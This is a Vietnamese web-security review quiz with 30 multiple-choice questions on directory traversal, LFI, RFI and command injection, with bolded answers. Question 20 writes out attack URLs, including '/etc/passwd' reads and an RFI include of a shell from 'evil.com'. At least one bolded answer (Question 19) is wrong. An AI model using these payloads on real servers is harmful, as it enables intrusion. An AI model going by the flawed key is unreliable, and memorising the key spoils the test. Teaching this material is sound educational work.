**ÔN TẬP**

**TUẦN 6 – RLFI, Command Inclusion**

**Câu 1: Directory Traversal là gì?**

**a. Khi kẻ tấn công duyệt qua các thư mục để truy cập các file không được phép**

b. Khi server tải file lên từ một nguồn bên ngoài

c. Khi file hệ thống bị xóa

d. Khi file hệ thống được mã hóa

**Câu 2: Local File Inclusion (LFI) là gì?**

**a. LFI xảy ra khi file nằm trên cùng một web server và được kẻ tấn công truy cập**

b. LFI xảy ra khi file được tải lên từ bên ngoài web server

c. LFI là lỗi mã hóa file trên web server

d. LFI là file cấu hình của hệ thống

**Câu 3: Remote File Inclusion (RFI) là gì?**

**a. RFI là khi file nằm bên ngoài web server và có thể chứa mã độc thực thi từ xa**

b. RFI là khi file được lưu trữ tạm thời trên server

c. RFI là lỗi trong quá trình tải file

d. RFI là lỗi trong file cấu hình hệ thống

**Câu 4: Một ví dụ về tấn công Directory Traversal là gì?**

**a. Điều khiển truy cập vào một tệp tin ngoài thư mục gốc web**

b. Thay đổi quyền truy cập của người dùng

c. Xóa một tập tin quan trọng

d. Gửi thông tin qua kết nối bảo mật

**Câu 5: LFI có thể được khai thác để thực hiện hành vi gì?**

**a. Đọc nội dung của các file nhạy cảm trên hệ thống**

b. Chặn các yêu cầu HTTP

c. Tạo file mới trên hệ thống

d. Xóa file khỏi hệ thống

**Câu 6: Biện pháp nào sau đây là cần thiết để ngăn chặn lỗ hổng Directory Traversal?**

Câu hỏi 6Chọn câu trả lời chính xác nhất:

a. Tạo đường dẫn tĩnh cho tất cả các tệp

b. Chỉ sử dụng GET request

c. Mã hóa tệp tin trước khi truy cập

**d. Giới hạn quyền truy cập tệp trên máy chủ**

**Câu 7: Code Injection có thể dẫn đến điều gì?**

**a. Chạy lệnh của hệ điều hành trên máy chủ**

b. Chặn kết nối mạng

c. Xem tệp tin hệ thống

d. Gửi email hàng loạt

**Câu 8: File inclusion có thể gây ra hậu quả gì đối với hệ thống?**

**a. Kẻ tấn công có thể truy cập trái phép vào các file hệ thống nhạy cảm**

b. Hệ thống sẽ ghi lại toàn bộ dữ liệu đầu vào

c. Hệ thống sẽ tự động mã hóa tất cả các file

d. Hệ thống sẽ chỉ cho phép tải các file từ mạng nội bộ

**Câu 9: Một ví dụ về tấn công Command Injection là gì?**

a. Gửi tệp đính kèm có mã độc

b. Đánh cắp cookie của người dùng

**c. Chạy lệnh `ls` để liệt kê tệp trên máy chủ qua URL**

d. Sử dụng cổng không bảo mật

**Câu 10: Để kiểm tra Directory Traversal, người kiểm thử có thể làm gì?**

a. Thực hiện tấn công SQL Injection

b. Đọc cookie của người dùng khác

c. Gửi email mã độc

**d. Gửi yêu cầu chứa chuỗi `../../../`'**

**Câu 11: Directory Traversal thường được sử dụng để thực hiện điều gì?**

**a. Truy cập vào các file không được phép nằm ngoài thư mục gốc của ứng dụng**

b. Tải file lên server

c. Mã hóa toàn bộ các file trên server

d. Thực thi các lệnh hệ thống từ xa

**Câu 12: RFI có thể dẫn đến điều gì trên hệ thống bị tấn công?**

**a. Kẻ tấn công có thể thực thi mã từ xa để điều khiển hệ thống**

b. Chỉ cho phép tải lên file từ máy cục bộ

c. Khóa toàn bộ quyền truy cập của người dùng hợp lệ

d. Mã hóa toàn bộ hệ thống file của hệ thống

**Câu 13: Điều gì xảy ra nếu một lỗ hổng LFI không được khắc phục?**

**a. Kẻ tấn công có thể truy cập vào các file nhạy cảm và thực thi mã từ xa**

b. Server sẽ tự động mã hóa tất cả các file

c. Kẻ tấn công chỉ có thể thay đổi cấu hình server

d. Không có nguy cơ bảo mật nào nếu lỗ hổng không được khắc phục

**Câu 14: LFI thường được khai thác để thực hiện điều gì?**

**a. Để xem nội dung của các file hệ thống hoặc thực thi mã từ xa**

b. Để tải file lên hệ thống

c. Để xóa file khỏi hệ thống

d. Để mã hóa các file hệ thống

**Câu 15: OS Command Injection xảy ra khi nào?**

**a. Khi ứng dụng web không kiểm soát đầu vào và thực thi các lệnh hệ thống từ dữ liệu của người dùng**

b. Khi ứng dụng web mã hóa toàn bộ các file được tải lên

c. Khi ứng dụng web chặn tất cả các kết nối HTTP

d. Khi ứng dụng web chỉ cho phép các file được tải lên từ nguồn tin cậy

**Câu 16: RFI cần điều kiện gì trên server để có thể khai thác thành công?**

**a. Server phải cấu hình allow\_url\_fopen và allow\_url\_include**

b. Server phải chạy trên nền tảng Windows

c. Server phải có chứng chỉ SSL

d. Server phải bật firewall

**Câu 17: File inclusion có thể xuất hiện khi nào?**

**a. Khi tham số từ request của người dùng được sử dụng để chọn file hoặc trang load**

b. Khi file cấu hình của hệ thống bị lỗi

c. Khi server bị tấn công trực tiếp

d. Khi cơ chế mã hóa file không hoạt động

**Câu 18: Lệnh nào dưới đây trong PHP có thể bị khai thác để thực hiện OS Command** **Injection?**

**a. system()**

b. echo()

c. print()

d. file\_get\_contents()

**Câu 19: Lỗ hổng Local File Inclusion (LFI) xảy ra khi?**

**a. Không có xác thực người dùng**

b. Người dùng gửi một URL không hợp lệ

c. Đường dẫn tệp do người dùng nhập không được kiểm tra và hợp lệ hóa đúng cách

d. Ứng dụng sử dụng ngôn ngữ lập trình PHP

**Câu 20: Ghép các khái niệm về LFI và RFI với ví dụ tương ứng.**

**a. Directory Traversal → /vulnerable.php?file=../../../../index.html, Remote File Inclusion → /vulnerable.php?file=http://evil.com/shell.txt, Local File Inclusion → /vulnerable.php?file=/etc/passwd**

b. **Local File Inclusion** → /vulnerable.php?file=../../../../index.html, **Remote File Inclusion** → /vulnerable.php?file=http://evil.com/shell.txt, **Directory Traversal** → /vulnerable.php?file=/etc/passwd

c. **Local File Inclusion** → /vulnerable.php?file=../../../../index.html, **Directory Traversal** → /vulnerable.php?file=http://evil.com/shell.txt, **Remote File Inclusion** → /vulnerable.php?file=/etc/passwd

**Câu 21: LFI có thể dẫn đến điều gì?**

**a. Tất cả các đáp án trên**

b. Từ chối dịch vụ (DoS)

c. Rò rỉ thông tin nhạy cảm

d. Chạy mã trên phía máy khách

**Câu 22: Khi nào nên sử dụng hàm escapeshellcmd() trong PHP?**

**a. Khi cần thực thi một lệnh hệ thống có chứa đầu vào từ người dùng**

b. Khi cần tải một file từ hệ thống

c. Khi cần mã hóa nội dung của file

d. Khi cần ghi lại thông tin đăng nhập của người dùng

**Câu 23: Làm thế nào để tấn công Directory Traversal?**

**a. Bằng cách sử dụng các chuỗi như "../" để duyệt qua các thư mục ngoài thư mục gốc của ứng dụng**

b. Bằng cách sử dụng mã hóa dữ liệu đầu vào

c. Bằng cách tải file từ mạng nội bộ

d. Bằng cách gửi yêu cầu POST thay vì GET

**Câu 24: Kỹ thuật nào có thể được sử dụng để giảm thiểu khả năng bị tấn công RFI?**

**a. Tắt các thiết lập allow\_url\_fopen và allow\_url\_include trong PHP**

b. Chặn toàn bộ các yêu cầu HTTP

c. Sử dụng HTTPS cho toàn bộ các giao dịch

d. Định cấu hình lại tường lửa

**Câu 25: Ký tự nào thường được sử dụng trong tấn công Directory Traversal?**

a. //

b. --

c. ||

**d. ..**

**Câu 26: Ghép các khái niệm bảo mật với mô tả của chúng.**

**a. Directory Traversal → Kẻ tấn công truy cập file ngoài thư mục gốc bằng cách duyệt qua các thư mục, RFI → Kẻ tấn công đưa file từ máy chủ từ xa vào để thực thi mã độc, LFI → Kẻ tấn công truy cập và đọc file hệ thống qua tham số đầu vào, OS Command Injection → Khi kẻ tấn công thực thi lệnh hệ thống qua lỗ hổng đầu vào**

b. **Directory Traversal** → Kẻ tấn công truy cập file ngoài thư mục gốc bằng cách duyệt qua các thư mục, **LFI** → Kẻ tấn công đưa file từ máy chủ từ xa vào để thực thi mã độc, **RFI** → Kẻ tấn công truy cập và đọc file hệ thống qua tham số đầu vào, **OS Command Injection** → Khi kẻ tấn công thực thi lệnh hệ thống qua lỗ hổng đầu vào

c. **Files Traversal** → Kẻ tấn công truy cập file ngoài thư mục gốc bằng cách duyệt qua các thư mục, **RFI** → Kẻ tấn công đưa file từ máy chủ từ xa vào để thực thi mã độc, **LFI** → Kẻ tấn công truy cập và đọc file hệ thống qua tham số đầu vào, **OS Command Injection** → Khi kẻ tấn công thực thi lệnh hệ thống qua lỗ hổng đầu vào

**Câu 27: Lỗ hổng nào dưới đây thường dẫn đến khả năng thực thi mã từ xa trên hệ thống?**

**a. Remote File Inclusion (RFI)**

b. Directory Traversal

c. SQL Injection

d. Cross-Site Scripting (XSS)

**Câu 28: Để kiểm tra lỗ hổng Command Injection, người kiểm thử có thể sử dụng phương pháp nào?**

a. Truy cập vào cổng mạng khác

b. Trình duyệt ẩn danh

c. Cú pháp URL encode

**d. Chuỗi mã độc kèm theo lệnh hệ thống**

**Câu 29: Lỗ hổng Command Injection thường xuất hiện khi nào?**

a. Trình duyệt bị tấn công bởi mã độc

b. Có nhiều người dùng truy cập cùng lúc

c. Ứng dụng không có giao diện người dùng

**d. Mã lệnh từ người dùng không được hợp lệ hóa trước khi chạy trên máy chủ**

**Câu 30: Tham số NULL byte (%00) được sử dụng như thế nào trong khai thác file inclusion?**

**a. Để bỏ qua phần mở rộng của file và thực thi file đó**

b. Để mã hóa nội dung file trên server

c. Để xóa một file từ server

d. Để tăng quyền truy cập của người dùng